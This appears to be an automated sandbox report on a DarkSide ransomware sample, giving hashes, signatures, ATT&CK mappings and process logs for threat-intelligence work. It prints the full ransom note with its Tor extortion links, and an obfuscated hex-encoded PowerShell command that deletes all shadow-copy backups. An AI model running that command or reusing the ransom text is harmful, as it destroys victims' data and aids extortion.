darkside | 6931b124d38d52bd7cdef48121fda457d407b63b59bb4e6ead4ce548f4bbb971

General

Target

darkside.exe
Size

17KB
MD5

9009593ebf5ea20407ab19bff045dc9d
SHA1

03c1f7458f3983c03a0f8124a01891242c3cc5df
SHA256

6931b124d38d52bd7cdef48121fda457d407b63b59bb4e6ead4ce548f4bbb971
SHA512

fe24a401b35a5b1874bc90739f6fda1969456a13e1339f5b920e6fa659e82df0febc7fc3196ea854601e8773c356884a2516b660daafa944c3643b9d0be74fed
SSDEEP

384:SGyUrEk/yEoQE+yckIYN/pBa3AWK3T2oTboHblKR/o:l4klFypIYFpB/x9ngbd

Score

10^/10

darkside ransomware spyware stealer upx

Malware Config

Extracted

Path

C:\Users\README.c2995afb.TXT

Family

darkside

Ransom Note

----------- [ Welcome to Dark ] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. Data leak ---------------------------------------------- First of all we have uploaded more then 100 GB data. Example of data: - Accounting data - Executive data - Sales data - Customer Support data - Marketing data - Quality data - And more other... Your personal leak page: http://darksidedxcftmqa.onion/blog/article/id/6/dQDclB_6Kg-c-6fJesONyHoaKh9BtI8j9Wkw2inG8O72jWaOcKbrxMWbPfKrUbHC The data is preloaded and will be automatically published if you do not pay. After publication, your data will be available for at least 6 months on our tor cdn servers. We are ready: - To provide you the evidence of stolen data - To give you universal decrypting tool for all encrypted files. - To delete all the stolen data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/K71D6P88YTX04R3ISCJZHMD5IYV55V9247QHJY0HJYUXX68H2P05XPRIR5SP2U68 When you open our website, put the following data in the input form: Key: pr9gzRnMz6qEwr6ovMT0cbjd9yT56NctfQZGIiVVLgo0ME2EQpAUyZucG9BLrOJjno5XLPvCN11TFfnlFHa42u5mJxoeR5k5RUgQAC1MC6LBUj4YOOAUyiBrR HQSUM3pzGoEPRVOzXSZ8YqkJyFL0TDFBbWaBKQDOSo9GzKKoVRQ0Eb02F5geTPkTAqZZSfSQ6PBBlTGPSgGe2kCyuwwp7lDmRSJlNnHssMMZHVhXzyZ6fxiBY gNiuusFK8JNI5nrtRPp3bMAc6OEddxfJWj6o2GT1Xg9j87Jp4Oyv43E1J61jLJAWBkmoBB3Gqv07mtyDW5PnmxBlNzABbLFEvJMQL23sR8nnw4svzcZHxrqD1 xRcxqyeKtsaQ5yqLvyQgMdnrI2QoCqkHYYUfBIzjO8BXyBZdmjHanXE57jdDAhjaDUUqfL917cCyJr1uwVR0Xj5lJXe8BIKHd3dFrz70CsIXFAhicOsBlFzIn daNcAXXyL8Fg1avIXOcuEkGRDXt8Cs8b3TAB6n4DrbLJdiFjECo8yCA9pxvzqjXatumUloblWFZaUoLVYzP !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!

URLs

http://darksidedxcftmqa.onion/blog/article/id/6/dQDclB_6Kg-c-6fJesONyHoaKh9BtI8j9Wkw2inG8O72jWaOcKbrxMWbPfKrUbHC

http://darksidfqzcuhtk2.onion/K71D6P88YTX04R3ISCJZHMD5IYV55V9247QHJY0HJYUXX68H2P05XPRIR5SP2U68

Signatures

DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
ransomware darkside
Renames multiple (173) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
behavioral1/memory/3056-0-0x00000000001D0000-0x00000000001E0000-memory.dmp	upx
behavioral1/memory/3056-237-0x00000000001D0000-0x00000000001E0000-memory.dmp	upx

Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

darkside.exepowershell.exe

pid process

3056 darkside.exe
3056 darkside.exe
2184 powershell.exe
3056 darkside.exe

pid	process
3056	darkside.exe
3056	darkside.exe
2184	powershell.exe
3056	darkside.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

Processes:

darkside.exepowershell.exevssvc.exe

description	pid	process
Token: SeIncreaseQuotaPrivilege	3056	darkside.exe
Token: SeSecurityPrivilege	3056	darkside.exe
Token: SeTakeOwnershipPrivilege	3056	darkside.exe
Token: SeLoadDriverPrivilege	3056	darkside.exe
Token: SeSystemProfilePrivilege	3056	darkside.exe
Token: SeSystemtimePrivilege	3056	darkside.exe
Token: SeProfSingleProcessPrivilege	3056	darkside.exe
Token: SeIncBasePriorityPrivilege	3056	darkside.exe
Token: SeCreatePagefilePrivilege	3056	darkside.exe
Token: SeBackupPrivilege	3056	darkside.exe
Token: SeRestorePrivilege	3056	darkside.exe
Token: SeShutdownPrivilege	3056	darkside.exe
Token: SeDebugPrivilege	3056	darkside.exe
Token: SeSystemEnvironmentPrivilege	3056	darkside.exe
Token: SeRemoteShutdownPrivilege	3056	darkside.exe
Token: SeUndockPrivilege	3056	darkside.exe
Token: SeManageVolumePrivilege	3056	darkside.exe
Token: 33	3056	darkside.exe
Token: 34	3056	darkside.exe
Token: 35	3056	darkside.exe
Token: SeDebugPrivilege	2184	powershell.exe
Token: SeBackupPrivilege	2672	vssvc.exe
Token: SeRestorePrivilege	2672	vssvc.exe
Token: SeAuditPrivilege	2672	vssvc.exe

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

darkside.exe

description	pid	process	target process
PID 3056 wrote to memory of 2184	3056	darkside.exe	powershell.exe
PID 3056 wrote to memory of 2184	3056	darkside.exe	powershell.exe
PID 3056 wrote to memory of 2184	3056	darkside.exe	powershell.exe
PID 3056 wrote to memory of 2184	3056	darkside.exe	powershell.exe

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\darkside.exe
"C:\Users\Admin\AppData\Local\Temp\darkside.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3056

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2184

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2672

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Unsecured Credentials

1

T1552

Credentials In Files

1

T1552.001

Discovery

Lateral Movement

Collection

Data from Local System

1

T1005

Command and Control

Exfiltration

Impact

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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize
7KB

MD5
1104513b8798f88c6c83c67920559de3

SHA1
711d09201c46a17af6292cb4d85eed65d74450f9

SHA256
60d2a62e38eadc6b8e2472f9575a11c0a1c4b7740c8fe2a2e8ef29fa9cd2b81e

SHA512
a0916d8952019546bb39ec09cc9dcd8937fa4d8f49d66c11d3c3b955207cc94b3099088db09f044c2bd69d2454a6797bbc8401133cb6c4051ba24b009d508cf6

Download Submit
C:\Users\README.c2995afb.TXT
Filesize
2KB

MD5
25d0b19a0ec34a39dfa3e177866f01a3

SHA1
a3704d1f6499738ccd694bdd6008a850c6b2e453

SHA256
f030ee74e406acb06d43e73c5127df0206e8affc85b95e9895b100d89391dea8

SHA512
ede7562f04b5f9abf792196ae87d82e14d651dc70e9a5b5ec0e9cb14d13aba27f8ebfacda2191de48dff882131dfad8c7bad51e7fb89b71dd3bbe748adc77198

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memory/2184-5-0x000007FEF58DE000-0x000007FEF58DF000-memory.dmp

Filesize
4KB

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memory/2184-6-0x000000001B710000-0x000000001B9F2000-memory.dmp

Filesize
2.9MB

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memory/2184-7-0x00000000021C0000-0x00000000021C8000-memory.dmp

Filesize
32KB

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memory/2184-8-0x000007FEF5620000-0x000007FEF5FBD000-memory.dmp

Filesize
9.6MB

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memory/2184-9-0x000007FEF5620000-0x000007FEF5FBD000-memory.dmp

Filesize
9.6MB

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memory/2184-10-0x000007FEF5620000-0x000007FEF5FBD000-memory.dmp

Filesize
9.6MB

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memory/3056-0-0x00000000001D0000-0x00000000001E0000-memory.dmp

Filesize
64KB

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memory/3056-237-0x00000000001D0000-0x00000000001E0000-memory.dmp

Filesize
64KB

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Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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